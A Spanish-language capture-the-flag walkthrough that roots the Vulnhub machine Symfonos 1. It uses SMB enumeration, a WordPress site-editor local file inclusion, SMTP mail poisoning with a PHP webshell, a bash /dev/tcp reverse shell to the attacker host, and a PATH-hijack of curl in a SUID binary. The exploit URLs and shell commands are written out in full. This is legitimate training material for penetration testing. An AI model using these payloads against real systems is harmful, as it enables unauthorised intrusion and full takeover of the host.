Symfonos 1
Walkthrough de la máquina Symfonos 1 de Vulnhub
Obteniendo la IP de la máquina víctima
Lo primero que vamos a hacer es tratar de descubrir en qué IP está la máquina víctima. Para ello vamos a usar nmap
indicádole que queremos hacer un ping scan (-sn
) para toda la red en la que nos encontramos actualmente. Si no estamos como usuario root
es recomendable usar sudo
para obtener información adicional de los equipos que se encuentren en la red:
nmap -sn 192.168.56.1/24
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 10:10 CEST Nmap scan report for 192.168.56.1 Host is up (0.00036s latency). Nmap scan report for 192.168.56.13 Host is up (0.000056s latency). Nmap scan report for 192.168.56.14 Host is up (0.00041s latency). Nmap done: 256 IP addresses (3 hosts up) scanned in 3.44 seconds
Nmap nos indica que la IP de la máquina víctima es la siguiente (ya que la primera es la IP del router y la segunda es la IP de la máquina atacante):
192.168.56.14
En caso de que sea una máquina virtual podemos verificarlo comprobando si las direcciones MAC de las tarjetas de red coinciden.
Lo siguiente que vamos a hacer es agregar la IP de la máquina víctima a nuestro /etc/hosts. De esta manera no necesitaremos recordar la IP y podemos usar el nombre que le pongamos. Editamos el fichero /etc/hosts y agregamos la siguiente línea al final del mismo:
192.168.56.14 symfonos1.ctf
Ahora si hacemos un ping symfonos1.ctf -c 1
deberíamos obtener la siguiente respuesta:
PING symfonos1.ctf (192.168.56.14) 56(84) bytes of data. 64 bytes from symfonos1.ctf (192.168.56.14): icmp_seq=1 ttl=64 time=0.703 ms --- symfonos1.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.703/0.703/0.703/0.000 ms
Esto nos confirma que resuelve correctamente el hostname que le hemos asignado.
Escaneo de puertos
Una vez que tenemos la IP de la máquina víctima, lo que vamos a hacer es tratar de detectar los puertos que tiene abiertos. Para ello vamos a lanzar otro escaneo con nmap
contra todo el rango de puertos (-p-
) usando la plantilla de temporizado más rápida (-T5
), filtrando por los puertos abiertos (--open
), y deshabilitando la resolución de DNS (-n
) y el descubrimiento de hosts (-Pn
):
nmap -p- -T5 --open -Pn -n symfonos1.ctf
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 10:14 CEST Nmap scan report for symfonos1.ctf (192.168.56.14) Host is up (0.00021s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 2.08 second
De este escaneo obtenemos que los siguientes puertos están abiertos: 22 (SSH), 25 (SMTP), 80 (HTTP), 139 (NETBIOS-SSN) y 445 (MICROSOFT-DS). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV
):
nmap -p 22,25,80,139,445 -sCV symfonos1.ctf
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 10:16 CEST Nmap scan report for symfonos1.ctf (192.168.56.14) Host is up (0.00041s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 ab5b45a70547a50445ca6f18bd1803c2 (RSA) | 256 a05f400a0a1f68353ef45407619fc64a (ECDSA) |_ 256 bc31f540bc08584bfb6617ff8412ac1d (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8 | ssl-cert: Subject: commonName=symfonos | Subject Alternative Name: DNS:symfonos | Not valid before: 2019-06-29T00:29:42 |_Not valid after: 2029-06-26T00:29:42 |_ssl-date: TLS randomness does not represent time 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP) Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox) |_clock-skew: mean: 3h39m58s, deviation: 2h53m12s, median: 1h59m58s | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2023-04-16T10:17:09 |_ start_date: N/A | smb-os-discovery: | OS: Windows 6.1 (Samba 4.5.16-Debian) | Computer name: symfonos | NetBIOS computer name: SYMFONOS\x00 | Domain name: \x00 | FQDN: symfonos |_ System time: 2023-04-16T05:17:09-05:00 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds
Del resultado del escaneo más detallado obtenemos lo siguiente:
22/tcp
: SSH - OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)25/tcp
: SMTP - Postfix smtpd80/tcp
: HTTP - Apache httpd 2.4.25 ((Debian))139/tcp
: NETBIOS-SSN - Samba smbd 3.X - 4.X445/tcp
: NETBIOS-SSN - Samba smbd 4.5.16-Debian
Enumeración del servicio SAMBA (445/SMB)
En el escaneo de puertos hemos visto que está expuesto el servicio SMB el cual se utiliza para compartir ficheros. En muchas ocasiones no hace falta autenticación para poder acceder a esos ficheros compartidos, así que vamos a usar smbclient parar tratar de listar (-L
) los recursos compartidos:
smbclient -L //symfonos1.ctf
Resultado (presionamos intro sin introducir contraseña):
Password for [WORKGROUP\parrot]: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers helios Disk Helios personal share anonymous Disk IPC$ IPC IPC Service (Samba 4.5.16-Debian) SMB1 disabled -- no workgroup available
El resultado nos indica que tenemos 2 recursos que pueden ser interesantes, helios y anonymous. Lo siguiente que vamos a hacer es tratar de conectarnos a esos recursos como invitado (-U guest
) para tratar de acceder a ellos:
smbclient //symfonos1.ctf/anonymous -U guest
Resultado (presionamos intro sin introducir contraseña):
Try "help" to get a list of possible commands. smb: \>
Ahora que estamos conectados listamos el contenido con el comando ls
:
smb: \> ls . D 0 Sat Jun 29 03:14:49 2019 .. D 0 Sat Jun 29 03:12:15 2019 attention.txt N 154 Sat Jun 29 03:14:49 2019 19994224 blocks of size 1024. 17305692 blocks available
Nos indica que existe un archivo attention.txt. Lo descargamos a nuestra máquina haciendo get attention.txt
y vemos el contenido:
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! Next person I find using one of these passwords will be fired! -Zeus
En las notas nos indica que hay varias contraseñas comunes entre los usuarios del sistema, que son epidioko, qwerty y baseball.
Ahora que tenemos algunas contraseñas vamos a intentar obtener posibles nombres de usuario para poder conectarnos y acceder a los recursos de los mismos. Para ello vamos a usar la herramienta rpcclient indicándole que queremos usar el usuario anónimo (-U ""
):
rpcclient -U "" symfonos1.ctf
Y una vez conectados usamos el comando enumdomusers
:
rpcclient $> enumdomusers user:[helios] rid:[0x3e8]
De esta forma obtenemos que existe un usuario en el sistema cuyo nombre es helios, que coincide en nombre con uno de los recursos que listamos usando smbclient. Tratamos de conectarnos usando las diferentes contraseñas que obtuvimos anteriormente:
smbclient //symfonos1.ctf/helios -U helios
Resultado (usando la contraseña qwerty):
Try "help" to get a list of possible commands. smb: \>
Ahora que estamos logueados listamos los recursos disponibles con el comando ls
:
smb: \> ls . D 0 Sat Jun 29 02:32:05 2019 .. D 0 Sat Jun 29 02:37:04 2019 research.txt A 432 Sat Jun 29 02:32:05 2019 todo.txt A 52 Sat Jun 29 02:32:05 2019 19994224 blocks of size 1024. 17305680 blocks available
El resultado nos indica que tenemos 2 ficheros compartidos research.txt y todo.txt así que, como hemos hecho anteriormente, nos los descargamos usando el comando get <nombre_fichero>
:
Contenido de research.txt:
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.
Contenido de todo.txt:
1. Binge watch Dexter 2. Dance 3. Work on /h3l105
De los 2 ficheros la única pista interesante que obtenemos, al menos a priori, es que existe una ruta en la aplicación que es /h3l105
.
Analizando el servicio HTTP (80/TCP)
Si accedemos a la URL http://symfonos.ctf/
usando el navegador nos encontramos únicamente una imagen. Si inspeccionamos el código fuente tampoco vemos nada más, así que vamos a ver qué nos encontramos en la otra URL que hemos encontrado anteriormente.
Accedemos a http://symfonos.ctf/h3l105/
y nos encontramos con una página generada usando WordPress. Para buscar posibles vulnerabilidades en una página creada con WordPress existe la herramienta WPScan. Le indicamos que queremos hacer us escaneo agresivo de plugins instalados:
wpscan --url http://symfonos1.ctf/h3l105/ --enumerate ap --plugins-detection aggressive --plugins-version-detection aggressive
Resultado relevante:
... Interesting Finding(s): ... [+] Upload directory has listing enabled: http://symfonos1.ctf/h3l105/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% ... [+] Enumerating All Plugins (via Aggressive Methods) Checking Known Locations - Time: 00:00:59 <========================================================================================================> (102916 / 102916) 100.00% Time: 00:00:59 [+] Checking Plugin Versions (via Aggressive Methods) [i] Plugin(s) Identified: ... [+] site-editor | Location: http://symfonos1.ctf/h3l105/wp-content/plugins/site-editor/ | Latest Version: 1.1.1 (up to date) | Last Updated: 2017-05-02T23:34:00.000Z | Readme: http://symfonos1.ctf/h3l105/wp-content/plugins/site-editor/readme.txt | | Found By: Known Locations (Aggressive Detection) | - http://symfonos1.ctf/h3l105/wp-content/plugins/site-editor/, status: 200 | | Version: 1.1.1 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://symfonos1.ctf/h3l105/wp-content/plugins/site-editor/readme.txt ...
Por un lado vemos que tenemos capacidad de directory listing en /h3l105/wp-content/uploads/
. Ahí existe una carpeta siteeditor que, junto con el resto del resultado de la ejecución de WPScan nos confirma que está instalado el plugin site-editor
con la versión 1.1.1. Si buscamos en Exploit Database encontramos que tiene una vulnerabilidad que deriva en local file inclusion (LFI) (CVE-2018-7422).
Si leemos las notas de la vulnerabilidad, nos dice que podemos acceder a ficheros del sistema usando la URL http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=<file>
, así que probamos a acceder a la siguiente URL en el navegador:
http://symfonos1.ctf/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
Resultado:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false Debian-exim:x:105:109::/var/spool/exim4:/bin/false messagebus:x:106:111::/var/run/dbus:/bin/false sshd:x:107:65534::/run/sshd:/usr/sbin/nologin helios:x:1000:1000:,,,:/home/helios:/bin/bash mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false postfix:x:109:115::/var/spool/postfix:/bin/false {"success":true,"data":{"output":[]}}
De esta manera confirmamos que se acontece el LFI y que podemos interpretar ficheros del sistema usando PHP. Si encontrásemos la forma de escribir código PHP en el sistema e interpretarlo a través del LFI podríamos derivarlo en un remote command execution (RCE).
Ganando acceso a la máquina víctima
Recordando los servicios que teníamos expuestos, entre ellos se encontrava el servicio de mensajería SMTP. Si probamos a acceder en el navegador a http://symfonos1.ctf/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios
comprobamos que tenemos acceso a ese fichero mediante el LFI así que si conseguimos agregar un mensaje con nuestra PHP shell dentro de ese fichero conseguiremos tener RCE.
Nos conectamos con Telnet a la máquina víctima y agregamos un mensaje cuyo concepto sea <?php system($_GET['c']); ?>
:
telnet symfonos1.ctf 25 Trying 192.168.56.14... Connected to symfonos1.ctf. Escape character is '^]'. 220 symfonos.localdomain ESMTP Postfix (Debian/GNU) mail from: test@test.test 250 2.1.0 Ok rcpt to: helios@symfonos.localdomain 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> subject: <?php system($_GET['c']); ?> . 250 2.0.0 Ok: queued as BE46640B98 quit 221 2.0.0 Bye Connection closed by foreign host.
Una vez que tenemos inyectada la PHP shell le agregamos el comando a ejecutar añadiendo &c=id
a la url. Si probamos a acceder a la URL http://symfonos1.ctf/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&c=id
a través del navegador obtenemos lo siguiente:
... From test@test.test Sun Apr 16 07:42:30 2023 Return-Path: <test@test.test> X-Original-To: helios@symfonos.localdomain Delivered-To: helios@symfonos.localdomain Received: from unknown (unknown [192.168.56.13]) by symfonos.localdomain (Postfix) with SMTP id BE46640B98 for <helios@symfonos.localdomain>; Sun, 16 Apr 2023 07:40:52 -0500 (CDT) subject: uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) {"success":true,"data":{"output":[]}}
Como podemos comprobar, hemos ejecutado el comando id
en la máquina víctima y podemos ver el resultado de la ejecución del mismo. Ahora vamos a intentar crear una reverse shell para poder manejarnos más comodamente.
Para ello, nos ponemos en escucha en nuestra máquina mediante Netcat:
nc -nlvp 8888
Recibiendo el mensaje de confirmación de que estamos escuchando:
listening on [any] 8888 ...
A continuación, a través de la shell que hemos subido al servidor ejecutamos un comando para que nos establezca una conexión a nuestro Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.102/8888 0>&1'
). Para ello hacemos un url encode del caracter '&' y lo pasamos por el parámetro c
de la url http://symfonos1.ctf/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&c=/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.56.13/8888 0>%261'
obteniendo el siguiente resultado:
connect to [192.168.56.13] from (UNKNOWN) [192.168.56.14] 39122 bash: cannot set terminal process group (492): Inappropriate ioctl for device bash: no job control in this shell <ite-editor/editor/extensions/pagebuilder/includes$
Ahora, para poder tener una shell completamente interactiva, lanzamos una pseudo consola con script /dev/null -c bash
, presionamos Ctrl + z
y hacemos un tratamiento de la tty con stty raw -echo; fg
. Hacemos reset
para reiniciar la configuración de la terminal, escribirmos xterm
como tipo de terminal y exportamos 2 variables de entorno:
export TERM=xterm
export SHELL=bash
Con esto ya deberíamos poder hacer Ctrl + c
para terminar la ejecución de un comando, o Ctrl + l
para limpiar la terminal. También podemos ir atrás en el histórico de comandos.
Escalada de privilegios
Si comprobamos si tenemos permisos de sudoer con sudo -l
vemos que no tenemos ninguno, así que vamos a tratar de buscar ejecutables con privilegios SUID. Para buscarlos usamos el comando find
:
find / -perm -4000 2>/dev/null
Resultado:
/usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/passwd /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /opt/statuscheck /bin/mount /bin/umount /bin/su /bin/ping
Entre los binarios encontramos uno que nos llama la atención, que es /opt/statuscheck/. Si lo ejectuamos vemos que nos devuelve lo que parece ser una respuesta HTTP de curl:
HTTP/1.1 200 OK Date: Sun, 16 Apr 2023 13:11:32 GMT Server: Apache/2.4.25 (Debian) Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT ETag: "148-58c6b9bb3bc5b" Accept-Ranges: bytes Content-Length: 328 Vary: Accept-Encoding Content-Type: text/html
Si tratamos de ver la cadenas que contiene el script con strings /opt/statuscheck
vemos que el script ejecuta el comando curl -I H http...
:
/lib64/ld-linux-x86-64.so.2 libc.so.6 system __cxa_finalize __libc_start_main _ITM_deregisterTMCloneTable __gmon_start__ _Jv_RegisterClasses _ITM_registerTMCloneTable GLIBC_2.2.5 curl -I H http://lH ocalhostH AWAVA AUATL ...
De esta manera verificamos que hace uso de curl y que además no define el path completo del binario, por lo que podría ser vulnerable a path hijacking. Para comprobar si es vulnerable creamos el fichero /tmp/curl con el siguiente contenido:
chmod u+s /bin/bash
Lo que va a intentar hacer el script es dar privilegios SUID al binario /bin/bash. Después de crear el fichero le damos permisos de ejecución con chmod +x curl
y modificamos el PATH
para que resuelva primero el curl falso que hemos creado en /tmp/curl. Para conseguir esto ejectuamos:
export PATH=/tmp:$PATH
Si ahora comprobamos el path ejecutando echo $PATH
comprobamos que el primero es /tmp. Después si ejecutamos /opt/statuscheck
veremos que ya no hay ningún output y, si comprobamos la bash del sistema con ls -l /bin/bash
, vemos lo siguiente:
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
De esta manera verificamos que se han cambiado los permisos y ahora podemos ejecutar una bash con privilegios (-p
) de la siguiente manera:
bash -p
Resultado:
bash-4.4# id uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdrom),25(floppy),29(aud io),30(dip),44(video),46(plugdev),108(netdev)
Con esto ya estaríamos logueados como root y podríamos acceder a todos los ficheros del sistema.
Una vez hemos ganado acceso como root podemos ver la flag (
/root/proof.txt
):Congrats on rooting symfonos:1! ...